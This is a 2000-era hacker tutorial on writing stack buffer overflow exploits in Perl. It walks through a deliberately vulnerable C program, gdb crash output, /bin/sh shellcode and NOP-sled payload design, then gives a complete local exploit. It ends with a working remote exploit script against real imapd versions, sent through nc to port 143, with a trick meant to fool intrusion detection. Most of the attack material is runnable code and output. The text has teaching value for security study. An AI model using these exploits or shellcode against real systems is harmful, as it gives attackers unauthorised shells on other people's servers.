-- Writing Buffer Overflow Exploits with Perl - anno 2000 --

<teleh0r@doglover.com> - http://teleh0r.cjb.net/

==============================================================

 

 

 

Table of Contents:

~~~~~~~~~~~~~~~~~~~~

 

[ 1. Introduction

[ 2. Vulnerable Program Example

[ 3. Shellcode

 

[ 4. Designing the payload

[ 5. Explained Example Exploit

[ 6. Old Remote Imapd example exploit

 

[ 7. Links & Resources

 

-----------------------------------------------------------------------------

 

Introduction:

~~~~~~~~~~~~~~~

 

This paper is for those who want a practical approach to writing buffer overflow

exploits. As the title says, this text will teach you how to write these exploits

in Perl.

 

If you want a more in-depth guide, please take a look at the links provided at the

end of this paper, and read those instead.

 

 

Vulnerable Program Example:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

 

Ok, time for a example. I have written a small program which is exploitable to a

buffer overflow. strcpy() does not check the length of $KIDVULN before it starts

placing its contents onto the stack, thus making the below program exploitable.

 

-----------------------------------------------------------------------------

++ vuln.c

 

#include <stdio.h>

int main() {

char kidbuffer[1024];

 

if (getenv("KIDVULN") == NULL) {

fprintf(stderr, "Grow up!\n");

exit(1);

}

 

/* Read the environment variable data into the buffer */

strcpy(kidbuffer, (char *)getenv("KIDVULN"));

 

printf("Environment variable KIDVULN is:\n\"%s\".\n\n", kidbuffer);

printf("Isn't life wonderful in kindergarten?\n");

return 0;

}

 

++ end

-----------------------------------------------------------------------------

 

[root@localhost teleh0r]# gcc -o vuln vuln.c

vuln.c: In function `main':

vuln.c:5: warning: comparison between pointer and integer

[root@localhost teleh0r]# export KIDVULN=`perl -e '{print "A"x"1028"}'`

[root@localhost teleh0r]# gdb vuln

GNU gdb 19991004

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) r

Starting program: /home/teleh0r/vuln

Environment variable KIDVULN is:

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

<snip>

 

Isn't life wonderful in kindergarten?

 

Program received signal SIGSEGV, Segmentation fault.

0x40032902 in __libc_start_main (main=Cannot access memory at address 0x41414149

) at ../sysdeps/generic/libc-start.c:61

61 ../sysdeps/generic/libc-start.c: No such file or directory.

(gdb)

 

-----------------------------------------------------------------------------

 

Ok, here we can see that our buffer size wasn't big enough. Had it been, then

the stack pointer would have been overwritten and the EIP register would have

been 0x41414141. (41 == A in hex.)

 

-----------------------------------------------------------------------------

 

[root@localhost teleh0r]# export KIDVULN=`perl -e '{print "A"x"1032"}'`

[root@localhost teleh0r]# gdb vuln

GNU gdb 19991004

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) r

Starting program: /home/teleh0r/vuln

Environment variable KIDVULN is:

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

<snip>

 

Isn't life wonderful in kindergarten?

 

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb)

 

-----------------------------------------------------------------------------

 

Now, we have totally overwritten the old return adress. We now see that it

holds 4 A's. So what does this mean? Well, we can controll where EIP points to,

and therefore we can get EIP to point to our payload. If this is successful our

code will get executed on the stack.

 

(Some operative systems/patches may prevent code being executed on the stack).

 

-----------------------------------------------------------------------------

 

We now know the length we will use to completely overwrite the return address.

Since ESP points to the top of the stack, we can use the value of ESP when the

program died, and (if needed) add a offset to it.

 

This is how you get the stack pointer value to use your exploit.

 

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb) info reg esp

esp 0xbffff770 -1073744064

(gdb)

 

-----------------------------------------------------------------------------

 

Shellcode:

~~~~~~~~~~~~

 

If you want to learn how to write your own shellcode, please take a look at the

links provided at the end of this paper. If you are lazy, and since you code in

Perl, chances are high, you could use tools which will make the shellcode for you.

Hellkit and execve-shell are good examples of such programs (great tools).

 

(You will find these tools at: http://teso.scene.at/)

 

[root@localhost execve-shell]# ./shellxp /bin/sh

build exploit shellcode

-scut / teso.

 

constructing shellcode...

 

[ 39/2048] adding ( 7): /bin/sh

shellcode size: 47 bytes

 

/* 47 byte shellcode */

"\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07"

"\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b"

"\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff"

"\xff\xff\x01\x2f\x62\x69\x6e\x2f\x73\x68\x01";

 

-----------------------------------------------------------------------------

 

Designing the payload:

~~~~~~~~~~~~~~~~~~~~~~~~

 

The payload will be stored in the $buffer scalar, with the data which will be

used for the exploitation. It will have the length needed to completely overwrite

the old return address. We will insert this code into the targeted program

(user-input) in order to change its flow.

 

The payload will in most cases look like this:

 

N = NOP (0x90) / S = Shellcode / R = ESP (+ offset).

 

Buffer: [ NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNSSSSSSSRRRRRRRRRRRRRR ]

 

There are reasons why we construct the buffer this way. First we have a lot of

NOPs, then the shellcode (which in this example will execute /bin/sh), and at last

the ESP + offset values.

 

The EIP register will get loaded with the value pointed to by ESP. So if ESP

points to anywhere inside the NOPs, the NOPs will do "no operations", and

continue to do nothing until the processor reaches the shellcode and then

executes it. (See the figure below)

 

_______________________________________________

<---- |[ NNNNNNNNNNNNNNNNNNNNNNNNNNN-SHELLCODE-RRRRRRR ]| <----

\_________________________/ ----> # ^

^ |

|________________________________|

 

 

If the buffer we were trying to overflow had been too small to add a decent

amount of NOP's, the shellcode and RET's, the below layout could have been

used when constructing the payload. (We could have added the NOP's and shellcode

into a shell-variable as well)

 

(R = Stack Pointer + Offset / S = Shellcode / N = x86 NOP)

 

/ ESP + offset / NOP's / Shellcode

Payload: [ RRRRRRRRRRRRRRRNNNNNNNNNNNNNNNNNNSSSSSS ]

| | ----------> #

----------

 

 

(Note: The buffer cannot contain any NULL bytes!)

 

-----------------------------------------------------------------------------

 

Explained Example Exploit:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

 

#!/usr/bin/perl

 

 

$shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89".

"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c".

"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".

"\xff\xff/bin/sh";

 

 

$len = 1024 + 8; # The length needed to own EIP.

$ret = 0xbffff770; # The stack pointer at crash time.

$nop = "\x90"; # x86 NOP

$offset = -1000; # Default offset to try.

 

 

if (@ARGV == 1) {

$offset = $ARGV[0];

}

 

for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {

$buffer .= $nop;

}

 

# [ Buffer: NNNNNNNNNNNNNN ]

 

# Add a lot of x86 NOP's to the buffer scalar. (885 NOP's)

 

$buffer .= $shellcode;

 

# [ Buffer: NNNNNNNNNNNNNNSSSSS ]

 

# Then we add the shellcode to the buffer. We made room for the shellcode

# above.

 

print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");

 

# Here we add the offset to the stack pointer value - convert it to hex,

# and then print it out.

 

$new_ret = pack('l', ($ret + $offset));

 

# pack is a function which will take a list of values and pack it into a

# binary structure, and then return that string containing the structure.

# So, pack the stack pointer / ESP + offset into a signed long - (4 bytes).

 

for ($i += length($shellcode); $i < $len; $i += 4) {

$buffer .= $new_ret;

}

 

# [ Buffer: NNNNNNNNNNNNNNNNSSSSSRRRRRR ]

 

# Here we add the length of the shellcode to the scalar $i, which after the

# first for loop had finished held the value "885" (bytes), then the for loop

# adds the $new_ret scalar until $buffer has the size of 1032 bytes.

#

# Could also have been written as this:

#

# until (length($buffer) == $len) {

# $buffer .= $new_ret;

#}

 

local($ENV{'KIDVULN'}) = $buffer; exec("/bin/vuln");

 

# Copy it into the shell variable KIDVULN, and execute vuln.

 

-----------------------------------------------------------------------------

 

#!/usr/bin/perl

 

## *** Successfully tested on IMAP4rev1 v10.190

## Written by: teleh0r@doglover.com / anno 2000

##

## This is nothing new - written just for fun.

## Vulnerable: imapd versions 9.0 > 10.223 / CA.

 

# Shellcode stolen from imapx.c / The Tekneeq Crew

 

$shellcode ="\xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80".

"\x46\x03\x30\x80\x46\x05\x30\x80\x46\x06\x30\x89".

"\xf0\x89\x46\x08\x31\xc0\x88\x46\x07\x89\x46\x0c".

"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80".

"\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xc6\xff\xff\xff".

"\x2f\x32\x39\x3e\x2f\x43\x38";

 

$len = 1052; # Sufficient to overwrite the return value.

$nop = A; # Using A (0x41) 'as' NOP's to try to fool IDS.

$ret = 0xbffff30f; # Return Value / ESP / Stack Pointer.

 

if (@ARGV < 2) {

print("Usage: $0 <target> <offset>\n");

exit(1);

}

 

($target, $offset) = @ARGV;

 

for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {

$buffer .= $nop;

}

 

$buffer .= $shellcode;

$new_ret = pack('l', ($ret + $offset));

 

$address = sprintf('%lx', ($ret + $offset));

print("Address: 0x$address / Offset: $offset / Length: $len\n\n");

sleep(1);

 

for ($i += length($shellcode); $i < $len; $i += 4) {

$buffer .= $new_ret;

}

 

$exploit_string = "* AUTHENTICATE {$len}\015\012$buffer\012";

 

system("(echo -e \"$exploit_string\" ; cat) | nc $target 143");

 

-----------------------------------------------------------------------------

 

Links & Resources:

~~~~~~~~~~~~~~~~~~~~

 

Smashing The Stack For Fun And Profit by Aleph One

http://phrack.infonexus.com/search.phtml?view&article=p49-14

 

Writing buffer overflow exploits - a tutorial for beginners.

http://mixter.warrior2k.com/exploit.txt / Written by Mixter.

 

TESO Security Group / http://teso.scene.at/